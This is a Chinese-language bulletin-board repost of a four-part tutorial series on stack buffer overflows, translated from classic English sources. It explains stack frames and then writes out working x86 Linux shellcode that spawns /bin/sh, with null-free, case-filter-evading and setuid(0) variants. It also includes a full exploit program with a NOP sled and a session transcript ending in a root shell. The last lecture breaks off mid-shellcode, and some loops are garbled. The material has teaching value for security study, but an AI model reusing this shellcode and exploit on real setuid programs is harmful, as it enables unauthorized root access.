堆栈溢出系列讲座大全

发信人: ipxodi (乐乐), 信区: Security
标 题: 堆栈溢出系列讲座(1)
发信站: 武汉白云黄鹤站 (Tue Feb 22 16:55:02 2000), 转信

本文以及以下同系列各文为ipxodi根据alphe one, Taeho Oh 的英文资料所译及整
理，
你可以任意复制和分发。

序言：

通过堆栈溢出来获得root权限是目前使用的相当普遍的一项黑客技术。事实上这是
一个
黑客在系统本地已经拥有了一个基本账号后的首选攻击方式。

他也被广泛应用于远程攻击。通过对daemon进程的堆栈溢出来实现远程获得
rootshell
的技术，已经被很多实例实现。

在windows系统中，同样存在着堆栈溢出的问题。而且，随着internet的普及，
win系列
平台上的internet服务程序越来越多，低水平的win程序就成为你系统上的致命伤
。因为
它们同样会被远程堆栈溢出，而且，由于win系统使用者和管理者普遍缺乏安全防
范的意
识，一台win系统上的堆栈溢出，如果被恶意利用，将导致整个机器被敌人所控制
。进而，
可能导致整个局域网落入敌人之手。

本系列讲座将系统的介绍堆栈溢出的机制，原理，应用，以及防范的措施。希望通
过我
的讲座，大家可以了解和掌握这项技术。而且，会自己去寻找堆栈溢出漏洞，以提
高系
统安全。

堆栈溢出系列讲座
入门篇


本讲的预备知识：
首先你应该了解intel汇编语言，熟悉寄存器的组成和功能。
你必须有堆栈和存储分配方面的基础知识，有关这方面的计算机书籍很多，我
将只是简单阐述原理，着重在应用。
其次，你应该了解linux，本讲中我们的例子将在linux上开发。

1：首先复习一下基础知识。

从物理上讲，堆栈是就是一段连续分配的内存空间。在一个程序中，会声明各种变
量。
静态全局变量是位于数据段并且在程序开始运行的时候被加载。而程序的动态的局
部变量
则分配在堆栈里面。

从操作上来讲，堆栈是一个先入后出的队列。他的生长方向与内存的生长方向正好
相反。
我们规定内存的生长方向为向上，则栈的生长方向为向下。压栈的操作push＝ESP
－4，
出栈的操作是pop=ESP+4.换句话说，堆栈中老的值，其内存地址，反而比新的值要
大。
请牢牢记住这一点，因为这是堆栈溢出的基本理论依据。

在一次函数调用中，堆栈中将被依次压入：参数，返回地址，EBP。如果函数有局
部变量，
接下来，就在堆栈中开辟相应的空间以构造变量。函数执行结束，这些局部变量的
内容将
被丢失。但是不被清除。在函数返回的时候，弹出EBP，恢复堆栈到函数调用的地
址,弹出
返回地址到EIP以继续执行程序。

在C语言程序中，参数的压栈顺序是反向的。比如func（a,b,c)。在参数入栈的时
候，是：
先压c，再压b,最后压a.在取参数的时候，由于栈的先入后出，先取栈顶的a，再取
b,最后
取c。
（PS:如果你看不懂上面这段概述，请你去看以看关于堆栈的书籍，一般的汇编语
言书籍
都会详细的讨论堆栈，必须弄懂它，你才能进行下面的学习）

2:好了，继续,让我们来看一看什么是堆栈溢出。

2.1：运行时的堆栈分配

堆栈溢出就是不顾堆栈中分配的局部数据块大小，向该数据块写入了过多的数据，
导致
数据越界。结果覆盖了老的堆栈数据。

比如有下面一段程序：
程序一：
#include
int main ( )
{
char name[8];
printf("Please type your name: ");
gets(name);
printf("Hello, %s!", name);
return 0;
}

编译并且执行，我们输入ipxodi,就会输出Hello,ipxodi!。程序运行中，堆栈是怎
么操作
的呢？

在main函数开始运行的时候，堆栈里面将被依次放入返回地址，EBP。

我们用gcc -S 来获得汇编语言输出，可以看到main函数的开头部分对应如下语句
：

pushl %ebp
movl %esp,%ebp
subl $8,%esp

首先他把EBP保存下来，，然后EBP等于现在的ESP，这样EBP就可以用来访问本函数
的
局部变量。之后ESP减8，就是堆栈向上增长8个字节，用来存放name[]数组。现在
堆栈
的布局如下：

内存底部 内存顶部
name EBP ret
<------ [ ][ ][ ]
^&name
堆栈顶部 堆栈底部

执行完gets(name)之后，堆栈如下：

内存底部 内存顶部
name EBP ret
<------ [ipxodi/0 ][ ][ ]
^&name
堆栈顶部 堆栈底部

最后，main返回，弹出ret里的地址，赋值给EIP，CPU继续执行EIP所指向的指令。


2.2：堆栈溢出

好，看起来一切顺利。我们再执行一次，输入ipxodiAAAAAAAAAAAAAAA,执行完
gets（name）
之后，堆栈如下：

内存底部 内存顶部
name EBP ret
<------ [ipxodiAA][AAAA][AAAA].......
^&name
堆栈顶部 堆栈底部

由于我们输入的name字符串太长，name数组容纳不下，只好向内存顶部继续写‘A
’。
由于堆栈的生长方向与内存的生长方向相反，这些‘A’覆盖了堆栈的老的元素。
如图
我们可以发现，EBP，ret都已经被‘A’覆盖了。在main返回的时候，就会把‘
AAAA’
的ASCII码：0x41414141作为返回地址，CPU会试图执行0x41414141处的指令，结果
出现
错误。这就是一次堆栈溢出。

3：如何利用堆栈溢出

我们已经制造了一次堆栈溢出。其原理可以概括为：由于字符串处理函数
（gets，strcpy等等）没有对数组越界加以监视和限制，我们利用字符数组写越界
，
覆盖堆栈中的老元素的值，就可以修改返回地址。

在上面的例子中，这导致CPU去访问一个不存在的指令，结果出错。

事实上，当堆栈溢出的时候，我们已经完全的控制了这个程序下一步的动作。如果

我们用一个实际存在指令地址来覆盖这个返回地址，CPU就会转而执行我们的指令
。

在UINX系统中，我们的指令可以执行一个shell，这个shell将获得和被我们堆栈溢
出
的程序相同的权限。如果这个程序是setuid的，那么我们就可以获得root shell。


下一讲将叙述如何书写一个shell code。

--
※ 来源:．武汉白云黄鹤站 bbs.whnet.edu.cn．[FROM: 202.112.101.131]


--------------------------------------------------------------------------------

分类讨论区 全部讨论区 上一篇 本讨论区 回文章 下一篇
发信人: ipxodi (乐乐), 信区: Security
标 题: 堆栈溢出系列讲座(2)
发信站: 武汉白云黄鹤站 (Tue Feb 22 16:55:28 2000), 转信

堆栈溢出系列讲座
如何书写一个shell code

一：shellcode基本算法分析

在程序中，执行一个shell的程序是这样写的：
shellcode.c
------------------------------------------------------------------------
-----
#include

void main() {
char *name[2];

name[0] = "/bin/sh";
name[1] = NULL;
execve(name[0], name, NULL);
}
------------------------------------------------------------------------
------
execve函数将执行一个程序。他需要程序的名字地址作为第一个参数。一个内容为
该程序
的argv[i]（argv[n-1]=0)的指针数组作为第二个参数，以及(char*) 0作为第三个
参数。

我们来看以看execve的汇编代码：
[nkl10]$ gcc -o shellcode -static shellcode.c
[nkl10]$ gdb shellcode
(gdb) disassemble __execve
Dump of assembler code for function __execve:
0x80002bc <__execve>: pushl %ebp ;
0x80002bd <__execve+1>: movl %esp,%ebp
;上面是函数头。
0x80002bf <__execve+3>: pushl %ebx
;保存ebx
0x80002c0 <__execve+4>: movl $0xb,%eax
;eax=0xb，eax指明第几号系统调用。
0x80002c5 <__execve+9>: movl 0x8(%ebp),%ebx
;ebp+8是第一个参数"/bin/sh/0"
0x80002c8 <__execve+12>: movl 0xc(%ebp),%ecx
;ebp+12是第二个参数name数组的地址
0x80002cb <__execve+15>: movl 0x10(%ebp),%edx
;ebp+16是第三个参数空指针的地址。
;name[2-1]内容为NULL，用来存放返回值。
0x80002ce <__execve+18>: int $0x80
;执行0xb号系统调用(execve)
0x80002d0 <__execve+20>: movl %eax,%edx
;下面是返回值的处理就没有用了。
0x80002d2 <__execve+22>: testl %edx,%edx
0x80002d4 <__execve+24>: jnl 0x80002e6 <__execve+42>
0x80002d6 <__execve+26>: negl %edx
0x80002d8 <__execve+28>: pushl %edx
0x80002d9 <__execve+29>: call 0x8001a34
<__normal_errno_location>
0x80002de <__execve+34>: popl %edx
0x80002df <__execve+35>: movl %edx,(%eax)
0x80002e1 <__execve+37>: movl $0xffffffff,%eax
0x80002e6 <__execve+42>: popl %ebx
0x80002e7 <__execve+43>: movl %ebp,%esp
0x80002e9 <__execve+45>: popl %ebp
0x80002ea <__execve+46>: ret
0x80002eb <__execve+47>: nop
End of assembler dump.

经过以上的分析，可以得到如下的精简指令算法：
movl $execve的系统调用号,%eax
movl "bin/sh/0"的地址,%ebx
movl name数组的地址,%ecx
movl name[n-1]的地址,%edx
int $0x80 ;执行系统调用(execve)

当execve执行成功后，程序shellcode就会退出，/bin/sh将作为子进程继续执行。
可是，
如果我们的execve执行失败，（比如没有/bin/sh这个文件），CPU就会继续执行后
续的
指令，结果不知道跑到哪里去了。所以必须再执行一个exit（）系统调用，
结束shellcode.c的执行。

我们来看以看exit(0)的汇编代码：
(gdb) disassemble _exit
Dump of assembler code for function _exit:
0x800034c <_exit>: pushl %ebp
0x800034d <_exit+1>: movl %esp,%ebp
0x800034f <_exit+3>: pushl %ebx
0x8000350 <_exit+4>: movl $0x1,%eax ;1号系统调用
0x8000355 <_exit+9>: movl 0x8(%ebp),%ebx ;ebx为参数0
0x8000358 <_exit+12>: int $0x80 ;引发系统调用
0x800035a <_exit+14>: movl 0xfffffffc(%ebp),%ebx
0x800035d <_exit+17>: movl %ebp,%esp
0x800035f <_exit+19>: popl %ebp
0x8000360 <_exit+20>: ret
0x8000361 <_exit+21>: nop
0x8000362 <_exit+22>: nop
0x8000363 <_exit+23>: nop
End of assembler dump.

看来exit(0)〕的汇编代码更加简单：
movl $0x1,%eax ;1号系统调用
movl 0,%ebx ;ebx为exit的参数0
int $0x80 ;引发系统调用

那么总结一下，合成的汇编代码为：
movl $execve的系统调用号,%eax
movl "bin/sh/0"的地址,%ebx
movl name数组的地址,%ecx
movl name[n-1]的地址,%edx
int $0x80 ;执行系统调用(execve)
movl $0x1,%eax ;1号系统调用
movl 0,%ebx ;ebx为exit的参数0
int $0x80 ;执行系统调用(exit)

二：实现一个shellcode

好，我们来实现这个算法。首先我们必须有一个字符串“/bin/sh”,还得有一个
name数组
。我们可以构造它们出来，可是，在shellcode中如何知道它们的地址呢？每一次
程序都是
动态加载，字符串和name数组的地址都不是固定的。

通过JMP和call的结合，黑客们巧妙的解决了这个问题。
------------------------------------------------------------------------
------
jmp call的偏移地址 # 2 bytes
popl %esi # 1 byte //popl出来的是string的地址。
movl %esi,array-offset(%esi) # 3 bytes //在string+8处构造 name数组，

//name[0]放 string的地址

movb $0x0,nullbyteoffset(%esi)# 4 bytes //string+7处放0作为string的结
尾。
movl $0x0,null-offset(%esi) # 7 bytes //name[1]放0。
movl $0xb,%eax # 5 bytes //eax=0xb是execve的syscall代码
。
movl %esi,%ebx # 2 bytes //ebx=string的地址
leal array-offset,(%esi),%ecx # 3 bytes //ecx=name数组的开始地址
leal null-offset(%esi),%edx # 3 bytes //edx=name〔1]的地址
int $0x80 # 2 bytes //int 0x80是sys call
movl $0x1, %eax # 5 bytes //eax=0x1是exit的syscall代码
movl $0x0, %ebx # 5 bytes //ebx=0是exit的返回值
int $0x80 # 2 bytes //int 0x80是sys call
call popl 的偏移地址 # 5 bytes //这里放call,string 的地址就会
作
//为返回地址压栈。
/bin/sh 字符串
------------------------------------------------------------------------
------
首先使用JMP相对地址来跳转到call,执行完call指令，字符串/bin/sh的地址将作
为call的
返回地址压入堆栈。现在来到popl esi，把刚刚压入栈中的字符串地址取出来，就
获得了
字符串的真实地址。然后，在字符串的第8个字节赋0，作为串的结尾。后面8个字
节，构造
name数组（两个整数，八个字节）。

我们可以写shellcode了。先写出汇编源程序。
shellcodeasm.c
------------------------------------------------------------------------
------
void main() {
__asm__("
jmp 0x2a # 3 bytes
popl %esi # 1 byte
movl %esi,0x8(%esi) # 3 bytes
movb $0x0,0x7(%esi) # 4 bytes
movl $0x0,0xc(%esi) # 7 bytes
movl $0xb,%eax # 5 bytes
movl %esi,%ebx # 2 bytes
leal 0x8(%esi),%ecx # 3 bytes
leal 0xc(%esi),%edx # 3 bytes
int $0x80 # 2 bytes
movl $0x1, %eax # 5 bytes
movl $0x0, %ebx # 5 bytes
int $0x80 # 2 bytes
call -0x2f # 5 bytes
.string /"/bin/sh/" # 8 bytes
");
}
------------------------------------------------------------------------
------
编译后，用gdb的
b/bx 〔地址〕
命令可以得到十六进制的表示。
下面，写出测试程序如下：（注意，这个test程序是测试shellcode的基本程序）

test.c
------------------------------------------------------------------------
------

char shellcode[] =
"/xeb/x2a/x5e/x89/x76/x08/xc6/x46/x07/x00/xc7/x46/x0c/x00/x00/x00"
"/x00/xb8/x0b/x00/x00/x00/x89/xf3/x8d/x4e/x08/x8d/x56/x0c/xcd/x80"
"/xb8/x01/x00/x00/x00/xbb/x00/x00/x00/x00/xcd/x80/xe8/xd1/xff/xff"
"/xff/x2f/x62/x69/x6e/x2f/x73/x68/x00/x89/xec/x5d/xc3";

void main() {
int *ret;

ret = (int *)&ret + 2; //ret 等于main（）的返回地址
//(＋2是因为：有pushl ebp ,否则加1就可以了。）

(*ret) = (int)shellcode; //修改main（）的返回地址为shellcode的开始地
址。

}

------------------------------------------------------------------------
------
------------------------------------------------------------------------
------
[nkl10]$ gcc -o test test.c
[nkl10]$ ./test
$ exit
[nkl10]$
------------------------------------------------------------------------
------
我们通过一个shellcode数组来存放shellcode，当我们把程序（test.c）的返回地
址ret
设置成shellcode数组的开始地址时，程序在返回的时候就会去执行我们的
shellcode，从
而我们得到了一个shell。

运行结果，得到了bsh的提示符$,表明成功的开了一个shell。

这里有必要解释的是，我们把shellcode作为一个全局变量开在了数据段而不是作
为一段
代码。是因为在操作系统中，程序代码段的内容是具有只读属性的。不能修改。而
我们的
代码中movl %esi,0x8(%esi)等语句都修改了代码的一部分，所以不能放在代码
段。

这个shellcode可以了吗？很遗憾，还差了一点。大家回想一下，在堆栈溢出中，
关键在
于字符串数组的写越界。但是，gets，strcpy等字符串函数在处理字符串的时候，
以"/0"
为字符串结尾。遇/0就结束了写操作。而我们的shellcode串中有大量的/0字符。
因此，
对于gets（name）来说，上面的shellcode是不可行的。我们的shellcode是不能有
/0字符
出现的。

因此，有些指令需要修改一下：
旧的指令 新的指令
--------------------------------------------------------
movb $0x0,0x7(%esi) xorl %eax,%eax
molv $0x0,0xc(%esi) movb %eax,0x7(%esi)
movl %eax,0xc(%esi)
--------------------------------------------------------
movl $0xb,%eax movb $0xb,%al
--------------------------------------------------------
movl $0x1, %eax xorl %ebx,%ebx
movl $0x0, %ebx movl %ebx,%eax
inc %eax
--------------------------------------------------------

最后的shellcode为：
------------------------------------------------------------------------
----
char shellcode[]=
00 "/xeb/x1f" /* jmp 0x1f */
02 "/x5e" /* popl %esi */
03 "/x89/x76/x08" /* movl %esi,0x8(%esi) */
06 "/x31/xc0" /* xorl %eax,%eax */
08 "/x88/x46/x07" /* movb %eax,0x7(%esi) */
0b "/x89/x46/x0c" /* movl %eax,0xc(%esi) */
0e "/xb0/x0b" /* movb $0xb,%al */
10 "/x89/xf3" /* movl %esi,%ebx */
12 "/x8d/x4e/x08" /* leal 0x8(%esi),%ecx */
15 "/x8d/x56/x0c" /* leal 0xc(%esi),%edx */
18 "/xcd/x80" /* int $0x80 */
1a "/x31/xdb" /* xorl %ebx,%ebx */
1c "/x89/xd8" /* movl %ebx,%eax */
1e "/x40" /* inc %eax */
1f "/xcd/x80" /* int $0x80 */
21 "/xe8/xdc/xff/xff/xff" /* call -0x24 */
26 "/bin/sh"; /* .string /"/bin/sh/" */
------------------------------------------------------------------------
----

三：利用堆栈溢出获得shell

好了，现在我们已经制造了一次堆栈溢出，写好了一个shellcode。准备工作都已
经作完，
我们把二者结合起来，就写出一个利用堆栈溢出获得shell的程序。
overflow1.c
------------------------------------------------------------------------
------
char shellcode[] =

"/xeb/x1f/x5e/x89/x76/x08/x31/xc0/x88/x46/x07/x89/x46/x0c/xb0/x0b"

"/x89/xf3/x8d/x4e/x08/x8d/x56/x0c/xcd/x80/x31/xdb/x89/xd8/x40/xcd"
"/x80/xe8/xdc/xff/xff/xff/bin/sh";

char large_string[128];

void main() {
char buffer[96];
int i;
long *long_ptr = (long *) large_string;

for (i = 0; i < 32; i++)
*(long_ptr + i) = (int) buffer;

for (i = 0; i < strlen(shellcode); i++)
large_string[i] = shellcode[i];

strcpy(buffer,large_string);
}
------------------------------------------------------------------------
------
在执行完strcpy后，堆栈内容如下所示：

内存底部 内存顶部
buffer EBP ret
<------ [SSS...SSSA ][A ][A ]A..A
^&buffer
堆栈顶部 堆栈底部
注：S表示shellcode。
A表示shellcode的地址。

这样，在执行完strcpy后，overflow。c将从ret取出A作为返回地址，从而执行了
我们的
shellcode。




--
※ 来源:．武汉白云黄鹤站 bbs.whnet.edu.cn．[FROM: 202.112.101.131]


--------------------------------------------------------------------------------

分类讨论区 全部讨论区 上一篇 本讨论区 回文章 下一篇
发信人: ipxodi (乐乐), 信区: Security
标 题: 堆栈溢出系列讲座(3)
发信站: 武汉白云黄鹤站 (Tue Feb 22 16:55:58 2000), 转信

堆栈溢出系列讲座
利用堆栈溢出获得shell

现在让我们进入最刺激的一讲，利用别人的程序的堆栈溢出获得rootshell。我们
将面对
一个有strcpy堆栈溢出漏洞的程序，利用前面说过的方法来得到shell。

回想一下前面所讲，我们通过一个shellcode数组来存放shellcode，利用程序中的
strcpy
函数，把shellcode放到了程序的堆栈之中；我们制造了数组越界，用shellcode的
开始地
址覆盖了程序（overflow.c）的返回地址，程序在返回的时候就会去执行我们的
shellcode，从而我们得到了一个shell。

当我们面对别人写的程序时，为了让他执行我们的shellcode，同样必须作这两件
事：
1:把我们的shellcode提供给他，让他可以访问shellcode。
2:修改他的返回地址为shellcode的入口地址。

为了做到这两条，我们必须知道他的strcpy（buffer,ourshellcode）中，buffer
的地址。
因为当我们把shellcode提供给strcpy之后，buffer的开始地址就是shellcode的开
始地址
，我们必须用这个地址来覆盖堆栈才成。这一点大家一定要明确。

我们知道，对于操作系统来说，一个shell下的每一个程序的堆栈段开始地址都是
相同的
。我们可以写一个程序，获得运行时的堆栈起始地址，这样，我们就知道了目标程
序堆栈
的开始地址。

下面这个函数，用eax返回当前程序的堆栈指针。（所有C函数的返回值都放在eax
寄存器
里面）:
------------------------------------------------------------------------
------
unsigned long get_sp(void) {
__asm__("movl %esp,%eax");
}
------------------------------------------------------------------------
------

我们在知道了堆栈开始地址后，buffer相对于堆栈开始地址的偏移，是他程序员自
己
写出来的程序决定的，我们不知道，只能靠猜测了。不过，一般的程序堆栈大约是
几K
左右。所以，这个buffer与上面得到的堆栈地址，相差就在几K之间。

显然猜地址这是一件很难的事情，从0试到10K，会把人累死的。


前面我们用来覆盖堆栈的溢出字符串为：
SSSSSSSSSSSSAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
现在，为了提高命中率，我们对他进行如下改进：
用来溢出的字符串变为：
NNNNNNNNNNNNNNNNSSSSSSSSSSSSSSSAAAAAAAAAAAAAAAAAAA
其中：
N为NOP.NOP指令意思是什么都不作，跳过一个CPU指令周期。在intel机器上，
NOP指令的机器码为0x90。
S为shellcode。
A为我们猜测的buffer的地址。这样，A猜大了也可以落在N上，并且最终会执行到
S.
这个改进大大提高了猜测的命中率，有时几乎可以一次命中。：）））

好了，枯燥的算法分析完了，下面就是利用./vulnerable1的堆栈溢出漏洞来得到
shell的程序：
exploit1.c
------------------------------------------------------------------------
----
#include
#include

#define OFFSET 0
#define RET_POSITION 1024
#define RANGE 20
#define NOP 0x90

char shellcode[]=
"/xeb/x1f" /* jmp 0x1f */
"/x5e" /* popl %esi */
"/x89/x76/x08" /* movl %esi,0x8(%esi) */
"/x31/xc0" /* xorl %eax,%eax */
"/x88/x46/x07" /* movb %eax,0x7(%esi) */
"/x89/x46/x0c" /* movl %eax,0xc(%esi) */
"/xb0/x0b" /* movb $0xb,%al */
"/x89/xf3" /* movl %esi,%ebx */
"/x8d/x4e/x08" /* leal 0x8(%esi),%ecx */
"/x8d/x56/x0c" /* leal 0xc(%esi),%edx */
"/xcd/x80" /* int $0x80 */
"/x31/xdb" /* xorl %ebx,%ebx */
"/x89/xd8" /* movl %ebx,%eax */
"/x40" /* inc %eax */
"/xcd/x80" /* int $0x80 */
"/xe8/xdc/xff/xff/xff" /* call -0x24 */
"/bin/sh"; /* .string /"/bin/sh/" */

unsigned long get_sp(void)
{
__asm__("movl %esp,%eax");
}

main(int argc,char **argv)
{
char buff[RET_POSITION+RANGE+1],*ptr;
long addr;
unsigned long sp;
int offset=OFFSET,bsize=RET_POSITION+RANGE+ALIGN+1;
int i;

if(argc>1)
offset=atoi(argv[1]);

sp=get_sp();
addr=sp-offset;

for(i=0;i *((long *)&(buff[i]))=addr;

for(i=0;i buff[i]=NOP;

ptr=buff+bsize-RANGE*2-strlen(shellcode)-1;
for(i=0;i *(ptr++)=shellcode[i];
buff[bsize-1]='/0';
//现在buff的内容为
//NNNNNNNNNNNNNNNSSSSSSSSSSSSSSSAAAAAAAAAAAAAAAAAAA/0

printf("Jump to 0x%08x/n",addr);

execl("./vulnerable1","vulnerable1",buff,0);
}
------------------------------------------------------------------------
----
execl用来执行目标程序./vulnerable1，buff是我们精心制作的溢出字符串，
作为./vulnerable1的参数提供。
以下是执行的结果：
------------------------------------------------------------------------
----
[nkl10]$ ls -l vulnerable1
-rwsr-xr-x 1 root root xxxx jan 10 16:19 vulnerable1*
[nkl10]$ ls -l exploit1
-rwxr-xr-x 1 ipxodi cinip xxxx Oct 18 13:20 exploit1*
[nkl10]$ ./exploit1
Jump to 0xbfffec64
Segmentation fault
[nkl10]$ ./exploit1 500
Jump to 0xbfffea70
bash# whoami
root
bash#
------------------------------------------------------------------------
----
恭喜，恭喜，你获得了root shell。

下一讲，我们将进一步探讨shellcode的书写。我们将讨论一些很复杂的
shellcode。


--
※ 来源:．武汉白云黄鹤站 bbs.whnet.edu.cn．[FROM: 202.112.101.131]


--------------------------------------------------------------------------------

分类讨论区 全部讨论区 上一篇 本讨论区 回文章 下一篇
发信人: ipxodi (乐乐), 信区: Security
标 题: 堆栈溢出系列讲座(4)
发信站: 武汉白云黄鹤站 (Tue Feb 22 16:56:19 2000), 转信

堆栈溢出系列讲座
复杂的shellcode

前面几讲，我们已经有了基本的堆栈溢出知识，可以编写基本的shellcode了。这
一讲，
我们将进一步探讨shellcode的书写。我们将讨论一些很复杂的shellcode。

复杂shellcode的产生是由于有一定防范措施的的目标程序。（所谓道高一尺，魔
高一丈）
。以下分类讨论几种情况。注意，下面的分类是不全面的，也不可能穷尽所有的情
况，
只是提供一些例子来阐明修改shellcode的技巧。

1:输入的溢出字符串被预处理

比如，如果敌人在自己的程序里面加入如下代码，就可抑制前面提到的堆栈溢出的
攻击：
------------------------------------------------------------------------
----
。。。。。。
for(i=0;i argv[1][i]=toupper(argv[1][i]);
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^加入的代码
。。。。。。
strcpy(buffer,argv[1]);

------------------------------------------------------------------------
----
显然，由于toupper函数对输入进行了过滤处理，/bin/sh变成了/BIN/SH，UNIX系
统是
大小写敏感的，因此execve系统调用不会成功。自然得不到shell。

怎么办？我们可以修改shellcode，使他不包含ascII为0x60--0x7a的字符。我们把

/bin/sh的每一个字母都减去0x50，得到"/x2f/x12/x19/x1e/x2f/x23/x18",在
shellcode
里面再把它们改回来。

另外，指令"/x89/x76/x08" /* movl %esi,0x8(%esi) */
也有问题字符/x76.我们可以把他改成其他的等价指令。比如改成：
"movl %esi,%eax", "addl $0x8,%eax","movl %eax,0x8(%esi)".

新的shellcode如下：
char shellcode[]=
"/xeb/x38" /* jmp 0x38 */
"/x5e" /* popl %esi */
"/x80/x46/x01/x50" /* addb $0x50,0x1(%esi) */
"/x80/x46/x02/x50" /* addb $0x50,0x2(%esi) */
"/x80/x46/x03/x50" /* addb $0x50,0x3(%esi) */
"/x80/x46/x05/x50" /* addb $0x50,0x5(%esi) */
"/x80/x46/x06/x50" /* addb $0x50,0x6(%esi) */
"/x89/xf0" /* movl %esi,%eax */
"/x83/xc0/x08" /* addl $0x8,%eax */
"/x89/x46/x08" /* movl %eax,0x8(%esi) */
"/x31/xc0" /* xorl %eax,%eax */
"/x88/x46/x07" /* movb %eax,0x7(%esi) */
"/x89/x46/x0c" /* movl %eax,0xc(%esi) */
"/xb0/x0b" /* movb $0xb,%al */
"/x89/xf3" /* movl %esi,%ebx */
"/x8d/x4e/x08" /* leal 0x8(%esi),%ecx */
"/x8d/x56/x0c" /* leal 0xc(%esi),%edx */
"/xcd/x80" /* int $0x80 */
"/x31/xdb" /* xorl %ebx,%ebx */
"/x89/xd8" /* movl %ebx,%eax */
"/x40" /* inc %eax */
"/xcd/x80" /* int $0x80 */
"/xe8/xc3/xff/xff/xff" /* call -0x3d */
"/x2f/x12/x19/x1e/x2f/x23/x18"; /* .string "/bin/sh" */
/* /bin/sh is disguised */
好，一个新的shellcode，绕过了预处理器的检查。我们可以用这种方法解决那些
不允许有某些字符集合的预处理检查。比如不允许!@#$%^&*的，等等。

2:对付seteuid（getuid()）
有的程序在开始的时候seteuid（getuid()），然后在需要的时候才进行
setuid(0)。这样就可以在发生堆栈溢出的时候由于euid！＝0而使我们只能得到普
通shell。

当你搞定了一个setuid位的程序，却发现只得到了普通用户shell的时候，就很可
能是这种情况。

但是，如果我们在自己的shellcode里面加上setuid(0)，就一样可以得到
rootshell。

我们写一个带有setuid的程序，用gcc -static 编译，使用gdb来试验：
(gdb) disassemble setuid
Dump of assembler code for function __setuid:
0x804ca00 <__setuid>: movl %ebx,%edx
0x804ca02 <__setuid+2>: movl 0x4(%esp,1),%ebx
0x804ca06 <__setuid+6>: movl $0x17,%eax
0x804ca0b <__setuid+11>: int $0x80
0x804ca0d <__setuid+13>: movl %edx,%ebx
0x804ca0f <__setuid+15>: cmpl $0xfffff001,%eax
0x804ca14 <__setuid+20>: jae 0x804cc10 <__syscall_error>
0x804ca1a <__setuid+26>: ret
0x804ca1b <__setuid+27>: nop
0x804ca1c <__setuid+28>: nop
0x804ca1d <__setuid+29>: nop
0x804ca1e <__setuid+30>: nop
0x804ca1f <__setuid+31>: nop
End of assembler dump.
我们可以用b/bx指令得到：setuid(0)的汇编代码：
------------------------------------------------------------------------
----
char code[]=
"/x31/xc0" /* xorl %eax,%eax */
"/x31/xdb" /* xorl %ebx,%ebx */
"/xb0/x17" /* movb $0x17,%al */
"/xcd/x80"; /* int $0x80 */
------------------------------------------------------------------------
----
把这段代码加到标准shellcode中jmp的前面就可以了。
（注意，最好不要加到jmp的后面，因为还要重新计算偏移，而且如果期间有堆栈
操作，
就把string的返回地址冲掉了）

new shellcode
------------------------------------------------------------------------
----
char shellcode[]=
"/x31/xc0" /* xorl %eax,%eax */
"/x31/xdb" /* xorl %ebx,%ebx */
"/xb0/x17" /* movb $0x17,%al */
"/xcd/x80" /* int $0x80 */
"/xeb/x1f" /* jmp 0x1f

本文地址：http://www.45fan.com/dnjc/69094.html